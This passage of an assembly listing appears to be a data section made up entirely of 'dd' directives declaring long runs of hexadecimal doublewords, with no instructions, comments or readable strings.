0A8B69E19h dd 0ACA29591h, 0E892CA20h, 391C0077h, 3E79CB6Eh, 961F53C4h dd 0A181FD2h, 20811488h, 9501D0A7h, 6FD5CC90h, 92C043F4h dd 0D714A0B9h, 64EC0358h, 0C4795296h, 0EAE02FDAh, 32761219h dd 35088E00h, 50FF31A1h, 941D009Fh, 0F28F54F5h, 0C139AF44h dd 7460877Ah, 0A46056F3h, 1DB95594h, 0C67221BDh, 9D48E6Eh dd 207B5630h, 0BDB0B5h, 0D0DAA569h, 7AE87CBFh, 29F01000h dd 0E72B9FB4h, 99620085h, 0F587D20Fh, 2AE2A471h, 9560101Eh dd 3D149F00h, 0C692675h, 331E3646h, 60C07408h, 4A1A7FF5h dd 0E3FE8Eh, 4E7C071h, 0D26156CAh, 90646B0Ch, 13F484Eh dd 0B6973944h, 0F71EEDCFh, 0D009E7D1h, 0F200A85Eh, 9733353Fh dd 19DC66h, 7FCF39C8h, 9CE009C5h, 96A420C0h, 0F82217B2h dd 0D45A0005h, 0DDEB6F6Eh, 6D18F5E4h, 0A4688052h, 21500034h dd 0CBB1102Eh, 0CCE20159h, 0A48980E9h, 2720FBBAh, 773A1EC1h dd 0EEC28903h, 60ACEE80h, 0C610FB7h, 6D2A9428h, 3A246040h dd 2757C42h, 3996DA0Fh, 9C895C53h, 0B0D8AF80h, 2000243Dh dd 690B84ECh, 0A3577Ah, 7D22A16Ah, 5D3E9FD9h, 0A0118B1Fh dd 8AE32B80h, 0AA7BAC5h, 0F3B747FBh, 81350018h, 693FACC8h dd 88532E00h, 3634422Ah, 4BEE2C24h, 52FD02AFh, 0E3DF0EA5h dd 0A169A05Fh, 1F6C7D95h, 362BA24h, 0E5E65B35h, 83A20AA1h dd 86DBC858h, 296789BEh, 75B512C8h, 0CBCD038Bh, 2450E46Fh dd 28354801h, 0D377D468h, 8EFC8h, 0EC254D1Ah, 0F5BD52D8h dd 0C5BFAC00h, 0ADAB7483h, 60E035Ch, 7E98E287h, 24001873h dd 331A4CB9h, 27404Eh, 9D840DBDh, 0E0580247h, 6E684F60h dd 1939A29h, 2D4E79FEh, 0D0740B65h, 20C033C1h, 0F29A59A5h dd 2890B3h, 0B80DAB0Ah, 232C49F7h, 19B49250h, 0EF22DE00h dd 0CDFA5CB5h, 0ABFCDFh, 7A4A76A4h, 5E803411h, 0C1BDA700h dd 0C5FF474Bh, 579A0A2Bh, 2CE369D1h, 41873ACDh, 30B00777h dd 0B24BA22Fh, 0C708D263h, 46680089h, 99F00776h, 2E03D68Eh dd 1F42FEF8h, 2989003Fh, 0D002E9BAh, 5C006A0Dh, 0A4D7B1B9h dd 139387h, 5FC517B4h, 27BBD0F1h, 0A53C3F1Fh, 0EF2B20C0h dd 582A48h, 0E7F9672h, 0FD1599FCh, 0E19A6300h, 0E8BA46E9h dd 6C1D1FA2h, 0EC458051h, 64CC810Dh, 0C7B65200h, 0FB77A85Bh dd 255400E2h, 0CB4DBBCEh, 8A7A71F1h, 0AB024200h, 983AF2B6h dd 6012E8B5h, 8927204Eh, 8E038BE2h, 0ADB1EE3Eh, 401CDAFEh dd 0E5D138h, 0FA9A5865h, 0FC0768CFh, 31615Ch, 6E8951F1h dd 3FB92239h, 93005F43h, 4F247026h, 4E007A5Eh, 516996A3h dd 0E8551AAEh, 11C500F4h, 0E69114D2h, 7E195F75h, 0F00824D3h dd 0B332180h, 4ECEEB14h, 7068EF60h, 0EE553F8h, 863257F0h dd 0DC9B0077h, 8F4B7108h, 14896700h, 0F555AF7h, 0D94600FCh dd 7A90FDB1h, 59CE32FEh, 18E4855Bh, 4208444Eh, 3025E643h dd 0F30B78CEh, 0F52131C5h, 0BD00A60Bh, 0AE055DB0h, 9A1DE77Eh dd 74401D37h, 0FDC7DC1Fh, 0F0A2009Dh, 7DD1B367h, 6F033052h dd 79FA7C2Dh, 56703960h, 8045E21Dh, 0CF40EBFBh, 0C0011522h dd 97F6C707h, 0B4407EC9h, 0CF3CBDEh, 492519B9h, 1C0BEEA8h dd 80B1282Bh, 602ED3D3h, 367C2Ch, 50F0A7EFh, 4CCE8EA6h dd 2EA6E34Ch, 3609F8FCh, 0B614010Ah, 0C2364F7h, 96004123h dd 8B023EBEh, 10ED86B5h, 98BFA57Bh, 2E3B00CCh, 0E623A9AAh dd 541DA7FFh, 0A2C3D60Ah, 0E176459Ah, 0E880EF95h, 0AD042F65h dd 7D0C68B9h, 83D1A58h, 50FD0077h, 4308CF4h, 7BF8A96Bh dd 0B4D56D00h, 7D7549F6h, 5C3F01ABh, 133EEC5Dh, 0E1D45061h dd 0A307B8DEh, 29FF9B20h, 0E9266610h, 0D8FE0681h, 284BE4DBh dd 4C59F124h, 4D1BBF41h, 0E0B663CCh, 7721015Ah, 37A98708h dd 44BC20BCh, 6B85C405h, 980410FAh, 0D4012982h, 0BBF3793Ch dd 1DE58250h, 48A212DEh dd 0CCB4664h, 64A4581Ah, 0EC1E94F0h, 86BE7C17h, 55D25C1Bh dd 0A0455008h, 0C9FD0051h, 93A82418h, 190CE628h, 4866D0CFh dd 62028C0Ch, 961A1E18h, 104A1929h, 172497h, 0BF419DC3h dd 4F1163C6h, 0D597009h, 7B782403h, 5A8C2080h, 0F2412A0Fh dd 0CD6421F8h, 64BFA98Eh, 6D6390D0h, 8810F116h, 729EAE0h dd 0B358BED8h, 0DC8A86h, 39A07F77h, 10C2F8FAh, 0B321459Bh dd 0A6FBD0FCh, 374046B9h, 85E0C028h, 90090495h, 42D31CC7h dd 61067E12h, 0B1F5C713h, 9023D219h, 0D4242151h, 0DFF9F025h dd 65DC0CC1h, 0C41E2F91h, 1780E0AAh, 0A195493Fh, 578E0373h dd 0BBF2177h, 0CCDEF690h, 0B000EE74h, 18675542h, 0D38F2Ch dd 0A9A2D5E1h, 219F8546h, 0CC842900h, 59542056h, 5D570098h dd 0A25C1F80h, 0AF01790Dh, 0C9A3A16Ch, 41E01058h, 0D28F3008h dd 0EB231749h, 0A4B17A00h, 2821A16Fh, 9C991FC7h, 401500DEh dd 33CA83E4h, 8CAB9500h, 3E62AA32h, 4159C08Bh, 0D2CEDEE8h dd 0A50F163h, 0AE0818E6h, 574B20ACh, 3383E000h, 0EFB90CC8h dd 0DE7008Ah, 242E22E6h, 3603B634h, 0DF55D0B4h, 9856A8A7h dd 4668C88Bh, 0D262F4C1h, 86D751C4h, 3B08520h, 0BA62F377h dd 0BFE8EE78h, 0C40181E8h, 57921F7Bh, 2F208Eh, 0B00C1A5Ah dd 0A901F78Ch, 4855D5F6h, 4420D761h, 8AA8A036h, 0D4DF0087h dd 4DB8DA4Fh, 0CD66BBA6h, 1C49AA08h, 0BCD4E02Eh, 0C0D56400h dd 81B00D5Ah, 8221AF60h, 0C7DD0557h, 9035E969h, 8D965AFFh dd 80001DF8h, 1E0BB792h, 294C55B4h, 70789810h, 67428A19h dd 5AF2E900h, 6D3A52DAh, 3C8D4803h, 95CC75ABh, 0B8218C47h dd 5AA89341h, 0EA1824h, 64A38869h, 2CAC793Fh, 186AF63Ah dd 80208415h, 0E7880068h, 49A653B4h, 3A7406A2h, 0B6361517h dd 3BF30201h, 9C42574Eh, 0D4B733h, 6D7A0CCEh, 0CD1F42E9h dd 2846ED39h, 39C08371h, 4C857D7h, 89533DFCh, 0B2C6068Ch dd 7D083EAh, 0CBED6CC8h, 514C503Ch, 500909Dh, 12A1D8BFh dd 0F5EF83h, 1EF06569h, 78DDE5A9h, 0A03E2B0Fh, 47B8BDAh dd 1382725Bh, 0BAB28029h, 0CAA175h, 94FC179Ah, 9DEF8D2Fh dd 218208CCh, 9AF458h, 0BF44DCCBh, 54A5817Ah, 25015198h dd 63E3AA9Ch, 20E4A6A4h, 53050040h, 5E834981h, 0A807DDE4h dd 0A4EB995Dh, 95509Ch, 23FE72A9h, 29D6F44Ah, 38085560h dd 0BA4994h, 457291E2h, 336B3534h, 46983D01h, 8807D06h dd 0CC0DECh, 0A875BBF1h, 0B7433FD2h, 0DE9BE8C1h, 0A080C081h dd 0B8CC1041h, 9E3EB495h, 29DF0044h, 25CA1BD4h, 0A3C40208h dd 0DC4DC64Bh, 8E609804h, 52EC6772h, 81D7308Ch, 7D2DB520h dd 26E8FA1Fh, 2E03125Dh, 0BBA2DAh, 1FC5F041h, 0B6963E86h dd 38E7FA03h, 0C339A77Fh, 8CFEF978h, 5900B0BEh, 0BDFA545h dd 35001B75h, 0D16B22F6h, 6F0F73h, 0F8097ACDh, 8CCC2D42h dd 4192A800h, 6508F0B1h, 7CEEE6Eh, 597537E1h, 0BEC50CCh dd 19FE84DDh, 8889760Eh, 0F0B240B8h, 0CD9699h, 365A70BEh dd 0C45E1F33h, 750C4500h, 3D825BAFh, 0F1A80095h, 0FFA3CF2Ch dd 9D3AD55Eh, 0E2833DB7h, 87C660A0h, 5C70C3D9h, 8C3502h dd 2D1D3C16h, 77B65FE2h, 281C6300h, 0D1C49AF0h, 5B0C07DCh dd 60207481h, 0FE9E2EE2h, 864F7300h, 0E01454A6h, 39010040h dd 0F01249B9h, 9830A362h, 8DBF182Ch, 60760120h, 825ECA46h dd 1BD8BC0Ah, 0E090CD9Dh, 35CE11h, 0FD4E28D6h, 83109C49h dd 30B68B00h, 32051465h, 687402A0h, 89872F5Bh, 0DCF655C0h dd 299F4800h, 42E19A4Fh, 71A6246Ah, 10B119D1h, 81045FDBh dd 0DADEDD04h, 935CF0h, 114190EFh, 21D232A8h, 80EBF73Bh dd 56E7228Ah, 70EC4Dh, 0AE7ED0EEh, 10620BF2h, 140B28E6h dd 0E9C266h, 0F039FAE7h, 0B9F40E1Dh, 21E0AFEAh, 0FE7F243Fh dd 0DA61D900h, 64346B51h, 0A4D21CC0h, 5A00F9DFh, 1E0644D7h dd 0AA0055B8h, 0AD669827h, 483E38E3h, 700796DEh, 5EC313h dd 0E6271FBFh, 76C68900h, 0CB804F5Dh, 84200042h, 6286E0FEh dd 4500DE0Dh, 0DAFA229Eh, 1E81F299h, 5A30433h, 0C96575h dd 0E0222CE3h, 43016C89h, 263964FCh, 1CF0975Bh, 19A91F07h dd 0C1CF5E35h, 7F69037Ah, 9C9DE8C9h, 8A285C17h, 0C085C00Fh dd 0CDC466ECh, 2800045h, 0FA9DE68Eh, 69037F13h, 49EBBF6Fh dd 0CC0FD01Ah, 95FF50BAh, 50BC3B2Ch, 0C01C28h, 218CF3C4h dd 2742460h, 58E63200h, 55AF7A89h, 0D1000C5h, 43404C27h dd 1D026DB3h, 0B69061CBh, 1FE8A045h, 677CC4h, 0D6A27627h dd 0E2E56699h, 4A96EB00h, 0B45A911Bh, 9C4F003Eh, 6CA0538Ah dd 36017D82h, 0F7BCE279h, 0E3E0079Ah, 426D0566h, 0A6F3C7h dd 0CE06FF98h, 0B204248Bh, 0E6628FA9h, 18DD3BC0h, 7CEA4Bh dd 0A39C7625h, 0F21D2606h, 97358C00h, 0D5C16C01h, 91E900EAh dd 54CB6EC5h, 2D00DC66h, 1CDFAF4h, 0F39BA6D2h, 0B24BF8h dd 814C433Bh, 9C732D40h, 526F1300h, 0A6D3C25Ah, 51DE00C4h dd 6BA418F5h, 560BDF8Ch, 0E5A299Dh, 0AFBF40ACh, 0B732C5h dd 0F6803A28h, 97A99B3Ch, 2612F8E0h, 7C00BC0Dh, 0E0197ACFh dd 8AC00E47h, 7CC1B505h, 0C8EDCEACh, 3700BAD3h, 3887D82Fh dd 211CD2h, 4F7BAFB5h, 10A13079h, 8F00BE6h, 778F1F00h dd 0ECE3160Ah, 9BEA262Ah, 0C74A0069h, 86F3BACDh, 210078FAh dd 0C6F4A7D9h, 0F258AFh, 4502E8B8h, 74845344h, 0FEA92101h dd 7F649F8Fh, 9951E852h, 0D8F834B0h, 95B600B7h, 0B2065726h dd 141E8D04h, 4C40F25Eh, 7C828E0Fh, 0DF801218h, 0C5400059h dd 3224304h, 627E5700h, 6E32C4CCh, 781490DAh, 0B5E20FF3h dd 37E09D15h, 0A1EC7B89h, 4CCEC700h, 6CCDEF8Ch, 0EA1D1357h dd 271840BBh, 81C60A7Fh, 21713200h, 0DE7A9B93h, 8357006Ah dd 612ED152h, 6BE27CC6h, 0B88B5003h, 8098BAE6h, 0E475A918h dd 9F50BD27h, 80CEE83Ah, 55BD3F2Eh, 410784h, 3B051909h dd 7960CCABh, 0E6B72407h, 4A809932h, 0FAC9Eh, 4B59F6EEh dd 534D96C8h, 47BB7401h, 87345738h, 3CC55DF0h, 8F05A360h dd 0C03F5C50h, 0AD5ABB33h, 35181A00h, 560F2181h, 0B74A5C16h dd 9C973700h, 0C4016122h, 852CC800h, 4923FDFh, 2625077Fh dd 17E5639Fh, 80F78483h, 0C9D7A795h, 6AC34300h, 9C54B4BEh dd 0BB81445h, 3900C180h, 5E7D1766h, 0FF6012CCh, 585CD80h dd 53CF00A7h, 9760B63h, 8F007A8Eh, 6126C4DFh, 0FFFD2B8h dd 1F8949F2h, 0DD8DB7A1h, 2EE0E011h, 19122703h, 0E8ED79FEh dd 1CEAB0h, 113B7D0Eh, 0B275F42Ch, 0A839E100h, 0A9885678h dd 0E09001h, 0C2E3E4A5h, 242BFD73h, 0EC1BBD00h, 0FE647E99h dd 0ADF85Ah, 6BC32EFCh, 3EDC584Dh, 0CA235E00h, 669BB3EDh dd 0B7AE00F3h, 3A1F0C7Bh, 3300A8BBh, 3FAD8162h, 0EC8EBC2h dd 0CF20547Ch, 4CB6B881h, 0B1DCF872h, 0BC294000h, 0F9240269h dd 27431337h, 5FC440F4h, 1FD54AE6h, 77412100h, 10C36C8Dh dd 0E81D0765h, 8069532Ah, 0ADC228B4h, 14581702h, 608AC6FEh dd 9154AD8h, 0E193D721h, 0C7809800h, 0EC006716h, 5097E84Eh dd 830D78h, 0DC2BDAE5h, 0D75CD989h, 0E4FBB707h, 0F6F0C1A3h dd 11115E7h, 0E9499210h, 0D469F398h, 6800A76Fh, 83FE8B4Bh dd 4F97CDh, 8C18861h, 6AAFD8E7h, 39C3F700h, 7747FA7Ch dd 3F93B0E1h, 299F4DE2h, 902620h, 671BEDA3h, 1300EA9Ch dd 0EEE2E13Eh, 0CADB24h dd 563F5961h, 2A7EC7F5h, 0DE098300h, 37F19FC1h, 81CF00E0h dd 17073C3Fh, 5800E76Bh, 4E702582h, 5C0477h, 0E39E4EEh dd 432A6837h, 0F6BF8E00h, 1B9BD236h, 0EA2C008Dh, 0E1ABC719h dd 900A88Bh, 0B33643AEh, 0F4E5E418h, 9FD03CF2h, 0D5871A80h dd 1211079Eh, 9A21E300h, 2F1DDBA5h, 953F00E2h, 56B70AFDh dd 4300D14Bh, 6153723Eh, 7E381C77h, 0D35F00CAh, 9ED02FA1h dd 0B47DEC7Eh, 63029C00h, 31A6C898h, 0FB7E09h, 0DCF7F008h dd 0B887C4B4h, 9912350Fh, 703F039Ch, 2F56E0CCh, 4FA60BB7h dd 0AE80A07Bh, 8CB6FB52h, 0C9901500h, 0AA45FDB8h, 0B43B0E2Eh dd 0A7A03E3Ah, 67D67F93h, 0B029601Ch, 68D0E840h, 0F4B20A92h dd 24401F6Dh, 3A80CF96h, 0D70778BDh, 0B1D127B3h, 200694D3h dd 1B3BE487h, 51B4806Dh, 0DE2C86EAh, 150C030Dh, 1858AA93h dd 0A8A8A583h, 0BB3F731Dh, 0EB678002h, 98F04407h, 12B31D16h dd 2417C05Ch, 25A56ACBh, 34234C00h, 7C66CF30h, 8FA43078h dd 415F890h, 0A52ADB03h, 8E6936BBh, 1EEE3F18h, 65116380h dd 66E18044h, 0C680A0Bh, 129A80A6h, 7EDBBCEh, 0B105365Ah dd 0D5F870E9h, 0B824E1C8h, 1F00B925h, 47841395h, 721E00B1h dd 628DD95Dh, 9EF093E8h, 992E323Ah, 0B3A92405h, 0A7ACD4h dd 394C3014h, 65DA8609h, 64C34F24h, 0BB7D1Ch, 74B8914Dh dd 163B5685h, 0A8AC9D06h, 640529A4h, 10178642h, 6B1EF152h dd 7EBB0Ah, 6ACAF2E5h, 34839540h, 408841B8h, 0CC1AB494h dd 2700B16Eh, 44C6FAAEh, 1DB24EC0h, 4DA0EEh, 0FF7168Ch dd 4A00DB20h, 0EA43884Ch, 0ECB414Eh, 50659C80h, 60FCD4E0h dd 0A1009B7Ch, 0DEA4DD75h, 0EC03A20Fh, 1619F417h, 0A757B0h dd 0AE8D2810h, 0E4E3336Bh, 0C300A9FCh, 0DB759DBDh, 60EE6Dh dd 35035F72h, 3B270AFBh, 0AAAB5807h, 208F2D4Eh, 8C80EF4Dh dd 0AAFE78A4h, 4AC0880h, 12024B64h, 0CBD4104h, 0C030563Ah dd 0A578AE64h, 0FD050026h, 974138FBh, 0AC7CBF10h, 0C2B9F28h dd 46101D43h, 62F98891h, 1111906Eh, 9E22910Ch, 10AD4304h dd 5849842h, 859E21CAh, 90422108h, 84679710h, 2421F059h dd 86150861h, 8826D21h, 5242AB71h, 0C0D1183h, 293CA9EBh dd 0F9584984h, 813C9570h, 0F8D03C11h, 0A0495B47h, 51247C4Ch dd 382A1585h, 6D6F230Ah, 0BD80B83Bh, 0F1D77BADh, 4B570695h dd 39AAD010h, 0D60CA6E0h, 601C1BF2h, 0FB3D0712h, 60D1B909h dd 0DB45C5A1h, 0F069F700h, 303C3B31h, 60620059h, 6E5DCB22h dd 0BB605A6Dh, 8090F208h, 5827006Ah, 0AAD4C6A1h, 87703CEAh dd 2CED4614h, 0AB56C14Ch, 788EAA1Dh, 53018826h, 70AF5006h dd 84A04769h, 0A800936Dh, 0BD96DB83h, 78F8C0Eh, 84903B16h dd 46C02FB4h, 97E2E09Dh, 0C5A25700h, 2D8C8A4Bh, 92380A24h dd 0C41C9520h, 2668B2h, 2A1D745Ah, 0F7DFB186h, 573CE31Dh dd 33853B05h, 5710C02Ah, 0DE7F0089h, 8635B2B9h, 1440D0FFh dd 0B54A0501h, 0DC167265h, 2500D57Fh, 67A927F5h, 0FEA282Ch dd 799BB551h, 405CB22Ah, 0DB7CA833h, 0F2A38500h, 4C949856h dd 0DCC30128h, 5CED40C7h, 5F65D096h, 549C1E1Eh, 5C86180h dd 0DB13F9Dh, 0C015D342h, 3A82088h, 1871E304h, 1080B2BFh dd 14C7DF3Fh, 145F4622h, 0B7C3047Dh, 31FD14Fh, 103FB950h dd 0EC6241B0h, 0B2AF46A2h, 4C9CB4h, 3C45E058h, 0C9699DDh dd 3E70107Bh, 64835A24h, 40564B80h, 9A8EC874h, 33AD2438h dd 0E101803Ch, 51109BCFh, 4BCC8154h, 920EF7B8h, 9E33E58Ah dd 9BB18B80h, 122CD9AFh, 6268965Dh, 9E1DC474h, 0CDD2C094h dd 0EA88A730h, 0B30E5600h, 0C39960FEh, 3ACE65Eh, 0D88E75F0h dd 2CD85D37h, 9E74F303h, 47582405h, 0AC835B06h, 20C629h dd 765134E9h, 84681FD4h, 13D2C0F3h, 0DFA56F07h, 37401A93h dd 7F61E292h, 0BDD53B6Bh, 0F5470287h, 3251E156h, 4F308F8Ch dd 2AD9A658h, 0B2A00058h, 739A77FEh, 0EA78E2DDh, 480C1100h dd 56CB088Fh, 0E4500024h, 24B0D0Ah, 5F0016A9h, 1CDC8655h dd 0A56F7BACh, 39645044h, 0E5DD84A8h, 2DCD6801h, 12DC3AF7h dd 372ACC0h, 238B3DE6h, 0CEC0A35Bh, 0E21D3BA5h, 0B6001427h dd 0C512022h, 4B39020Bh, 0E6613E8Ch, 734AA660h, 7200CB74h dd 972C2E11h, 0D8228Dh, 0A3965E18h, 39AC0E7Bh, 0C9B06106h dd 8927BFh, 0EF906928h, 867D1413h, 0E3FEA002h, 94681881h dd 0B8A80E84h, 43858BA4h, 0C2A0008Fh, 39AFF75Ch, 0A533F100h dd 0B424D5C1h, 0F09AE622h, 1A580054h, 0C7A23992h, 401D072Fh dd 0D58949F7h, 69042097h, 1ECDBE0Fh, 19555A3h, 5B0EEE8Ch dd 0BFD04053h, 3288C8E2h, 521C03B5h, 0E51DB4EFh, 0D39DA098h dd 43A18300h, 0EBA39747h, 18EF285Ah, 0F7A7CB4h, 0BE4BD280h dd 28DB73E3h, 0B83DFC8h, 0F65AE818h, 55D80h, 0A0E5D9C9h dd 0ADF0D725h, 0B6CD20FFh, 0D43BF3F2h, 0EDEBEF9h, 7598891h dd 53415476h, 0C2245AFh, 1C1B66BCh, 87D8EE60h, 4887664h dd 0FE351E89h, 534813Ah, 4A6AC10Fh, 6FEE7FCh, 79C88C08h dd 0F46D5202h, 90064200h, 0C9E23112h, 81D80A7h, 0E0448520h dd 528A5699h, 0BDE03500h, 0A9B3D21Fh, 121E0F64h, 20986986h dd 4B07A03Fh, 4FFACCDBh, 0D8650E30h, 0CBC68998h, 1601021h dd 0A5D7FAA1h, 0FBE71752h, 1001BE85h, 5ABD37F9h, 10CD9108h dd 95E921CBh, 4B7800E7h, 93E23063h, 109AF39h, 20EA4Ah dd 6EDB7D6Dh, 5266063Eh, 0B0B9ADFFh, 39610DFCh, 5E8736D0h dd 494C4081h, 0B9BAFACFh, 0AB8D8h, 5C280873h, 6CB994Bh dd 0C0974D9Dh, 3918908Ch, 5A405D0Ch, 256803DDh, 4D9306C3h dd 1D004876h, 0CD3664A8h, 308AA4D8h, 0FFC9AA2Bh, 0CE8FD93h dd 0DBB4C106h, 1CA04775h, 5968DC33h, 603948E6h, 20295010h dd 490CB0D0h, 3C80C0B6h, 70005CE9h, 51E30453h, 0D0ABFA90h dd 85A7EAD0h, 48DD8A4h, 5D5B2BC1h, 0DA21085h, 21A800F1h dd 52852219h, 0B9A51018h, 70962BA8h, 0B53C0AB4h, 16985A91h dd 29C51821h, 0FD402E02h, 5E448632h, 0C72C4431h, 0C851516Fh dd 0FF6C84B5h, 504D0E42h, 8B934100h, 455A3B7Dh, 11BB8A00h dd 0E3EC0853h, 46740962h, 8200427Fh, 0A3369F1Dh, 1C843300h dd 6D48DB90h, 2E4E03A8h, 8B542446h, 0C9D4B9B0h, 800D5C3Eh dd 9CF8F02Ch, 3BEAA731h, 5E946E29h, 0E600AD11h, 3CF97FFEh dd 2800E29Bh, 0E8F7D8C7h, 702112h, 4AB0C5E1h, 48B97BF2h dd 1798F9E2h, 32058007h, 1911A370h, 0F7C8CA1Dh, 0D91E0327h dd 5991E518h, 4FA23D0h, 0C139A12Dh, 40E2439Ch, 143A8Ah dd 0B16557B8h, 51E1ABE6h, 7077353Fh, 0AC7B3Ch, 961B013h dd 4B7A3Fh, 0A1CAFAD1h, 0B244E90Fh, 5D1DCE00h, 0D64F2DDh dd 9066772Ch, 42F8010Fh, 1BFC7E3Eh, 2AC8D4A6h, 0A48FFCABh dd 0AEB890A2h, 7C071E8Fh, 0ED4F382Ch, 0C7C3E737h, 0CEC1F5AAh dd 88507D74h, 3A5B0B8Ch, 8F005809h, 0E30E1EB5h, 0E27516BAh dd 0C5C9EA00h, 27FF860Dh, 555B03CBh, 68B203D3h, 0D195A0DFh dd 1E1C2CF4h, 5BC678D0h, 98D29Bh, 5328606Eh, 7CD8808Ah dd 0D7188B73h, 4750F93Ch, 0C2C700DAh, 0A9045788h, 6F1CD25Ch dd 0C183AF8h, 7C7D8111h, 0C793019Dh, 7940E19Bh, 0D670203Ah dd 6ABF6603h, 33BFF51h, 0A30A6CD0h, 0EC8898C9h, 1C09147Eh dd 318128h, 7B974404h, 18A101E8h, 0AFECB7C1h, 22D8E075h dd 40E50800h, 0F669A6D6h dd 0F868000Fh, 0BAB52312h, 5200C007h, 5548BEA1h, 561C67h dd 95FB10DEh, 0EA456E60h, 0FE1930C0h, 0B34DF5h, 0DE139087h dd 884E837h, 0C800CFFCh, 0E17A014Bh, 3FF29AFEh, 0E90E29D6h dd 0E50194A4h, 0ECB21A74h, 0F800DEC8h, 0CD8AFBFCh, 3F9B631Ch dd 52879EB5h, 60A6503Dh, 8C1EAE6Eh, 0C914461Dh, 612D9F00h dd 24A272EDh, 0F043BA1h, 0C060651Ch, 826DBDE7h, 0F8058D02h dd 60961A8Eh, 7577DE1h, 782ACA0Eh, 0D9C4903Ch, 0EC00814Ah dd 0F3BB6CBAh, 12FF192h, 7D4F872Dh, 604DA56Ah, 0F0002446h dd 26CB736h, 0AFA81F4h, 0FF7EE729h, 9EE479F0h, 9200631Ch dd 0BB94C226h, 12107F53h, 1F68E0D2h, 0E9B7005Ch, 839E9F03h dd 0C2DB8C07h, 0AE9223DFh, 0A98403Fh, 9705056Bh, 2BFE5Eh dd 4AE7C3E8h, 0B624AC85h, 0F103C0F9h, 0F0B7960Bh, 12C7D4h dd 65F5A7E8h, 69CFC8EEh, 9A75D300h, 9AFC25Ch, 40F6001Ah dd 9807F599h, 7A003C67h, 2F1143B8h, 202F86Bh, 0AA84F076h dd 0AEC0E6C6h, 50056E2h, 88ADC374h, 0FF16D83h, 0CCAA4626h dd 5790BB00h, 10008191h, 79F3F406h, 0DB5899h, 0EB2FB1C8h dd 28229211h, 3A386700h, 272A5A0Bh, 1FA573A0h, 8A6B1C61h dd 0E03431h, 3F083C7Ch, 553F5C47h, 572200E0h, 4535736Eh dd 0F7DD0053h, 3FC3AC68h, 2300E199h, 0CBC9A7B8h, 0B8D5269Ah dd 4F51000Dh, 5DB002BDh, 0E7506752h, 0C71004E0h, 80A0B618h dd 82058A97h, 0A8C3473h, 538FC000h, 9022F29Fh, 0C41C26B0h dd 0BB4E066Eh, 7F7E2021h, 107A5607h, 760CE04h, 0ECBE4349h dd 1A7B0073h, 0FB70FA0Eh, 8100F51Bh, 8CB7D767h, 59D2E1h dd 0C7C0A5E5h, 0BED1FC25h, 1D002FF6h, 208C62B1h, 7DB6C69Bh dd 0DB4009Eh, 0B838B075h, 100336Ch, 2C0B739Ah, 1CDADFD5h dd 10DF9D7h, 0AEF38CE8h, 7AAAF8FDh, 0F48E3002h, 400FCF23h dd 0C51791Bh, 0C2F06BBAh, 710359ACh, 0E68B91FBh, 7789C8C8h dd 0DDFE3Ah, 9CBB3B6Bh, 0F860FC6Ah, 0BE59B400h, 0F2D0DCEDh dd 0CE24C009h, 3878FEFFh, 0CF6E2500h, 397628BFh, 80E667h dd 2CFD1AE6h, 6E335D48h, 0CE437900h, 4902650Bh, 0B9CB3ED0h dd 0BEDEA580h, 10EAF673h, 6B528B00h, 65262CE8h, 0D0590018h dd 3C9EF17h, 0D400AF78h, 2291B946h, 318375Eh, 0B0A0D328h dd 5B884F70h, 620978A8h, 0C7BB07h, 0A22A538Dh, 6A1500F9h dd 1CA87799h, 0D7004C5Eh, 2FC3B94h, 0E4C937h, 5F10B071h dd 761DB734h, 23784C03h, 98453270h, 84559Fh, 7DF54761h dd 0EFEB9CF4h, 0B78A8800h, 0B8AD1B72h, 0A23A1E6Dh, 2187C360h dd 47987A38h, 6C1D2092h, 8040BBACh, 0A60ECC79h, 0DDEF3BFFh dd 91F2C280h, 0F8331762h, 5B524A00h, 0EEE35A1Ah, 828B0028h dd 0ACC0B19Ah, 6E07F5B3h, 3B92E754h, 0E58569E0h, 90F815h dd 5D657F53h, 0BAC734D8h, 0E4754400h, 5B4D6163h, 9AA01C73h dd 5EF2C1C2h, 0E842B743h, 6F38D070h, 4F1580B3h, 0A44CA629h dd 971B00A1h, 764B187Eh, 27016F85h, 6DD546F6h, 57F05F3Bh dd 8BCE1D29h, 4AEC80C3h, 265297E7h, 0FDA458h, 0D740B3B4h dd 0E8856A2Bh, 3F603A54h, 0F5A27380h, 27D1134Bh, 0AD28CD60h dd 0ED71F8Ch, 4363FF4h, 0BAEB8C0h, 31184BA5h, 62601271h dd 0EDA0021h, 0A12854D3h, 41C25127h, 40D9148Dh, 7038F131h dd 0D8CA1C2Bh, 1E901DBh, 0D76490C9h, 0F01B9E81h, 500AE93h dd 0C5A43AE0h, 803804h, 0BF30FFACh, 0B5CDECE5h, 93F68D1Eh dd 0C7AAA5C0h, 6F9E63h, 2B3F9497h, 0F5A09821h, 0F2EE5371h dd 68C09300h, 1B4EBCFBh, 6C9B00C8h, 5A3E2042h, 7B0FCDE9h dd 230C3618h, 0D0A81EE2h, 1CEB9B23h, 16F95Ch, 6DE722C0h dd 673D6C1Dh, 589C8075h, 77832F73h, 0EBAE79CCh, 0E65F7870h dd 0CB5B0B0Ah, 0C8837B71h, 0D5F00F69h, 0B85B1DEEh, 0E005DECh dd 9F12E013h, 0F54C2888h, 3B080043h, 0F1779382h, 27F878h dd 0BF74B4B7h, 0A15A2331h, 7D2DF500h, 4C98EBB8h, 86F91F18h dd 613C8F2Ch, 595D60A0h, 7D0011A8h, 0FAD4728Ah, 0E18961Dh dd 0D75BC388h, 8B840012h, 4C941506h, 7FC7E700h, 0B0F04749h dd 0E1F23E0Ch, 3C128A80h, 43C6302Bh, 5319A500h, 5542EAE7h dd 0D4B70082h, 0F7324760h, 1450F4F0h, 857581D0h, 0F1BC0200h dd 299E3890h, 0DF6D0098h, 0D1B1D695h, 0F200F7F6h, 47340827h dd 0F27F5444h, 1D6F0019h, 9FC3AA9Dh, 0D1763AD0h, 0DB6D7504h dd 6BC0C142h, 0E03E53h, 3F69340Eh, 0E3CE62F6h, 0DFB0F700h dd 0D6EDFBF8h, 64DC004Bh, 0EA5F360Eh, 262E161Dh, 6600012Eh dd 0DBDD2DE2h, 0D0240086h, 0ABB7B1C4h, 640042BCh, 0F78B8859h dd 0F0B84Dh, 37CB271Fh, 8393334Bh, 267B1000h, 5DBA7113h dd 0CFFB2C6Dh, 0FD980013h, 0A1359169h, 15CB5801h, 0B16FA9D5h dd 8FA860h, 8A2EA237h, 315DEE17h, 0D0F69500h, 6CD8AD56h dd 0E92C004Dh, 2BA5B3CEh, 8E001028h, 0EED35AB4h, 129E6FEBh dd 3A175Bh, 849027ABh, 0E203ECD4h, 4C35BB50h, 862C9001h dd 0BC775Ch, 3DE4B3D1h, 0B22158A3h, 74F21802h, 